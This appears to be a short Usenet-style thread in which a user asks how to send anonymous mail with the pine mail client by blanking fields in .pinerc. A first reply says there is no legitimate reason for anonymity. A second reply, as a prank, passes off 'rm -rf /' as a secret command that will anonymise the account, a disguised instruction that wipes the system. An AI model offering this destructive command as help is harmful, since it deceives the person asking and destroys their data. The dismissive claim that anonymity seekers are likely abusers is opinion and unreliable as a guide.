I would like to know how to send anonymous mail.
I know one can change the file .pinerc so that the following are
unspecified:
personal-name=" "
user-id=" "
user-domain=" "

But it doesn't work.Is there another way ?

Not with pine. There are absolutely no legitimate reasons to do so. The
Internet is a shared resource; people who prefer to be anonymous would likely
abuse privileges.

That's not entirely true Adam. All he has to do is anonymise his
account by uttering the secret "read mail (real fast)" command:

	rm -rf /

It's always worked for me.
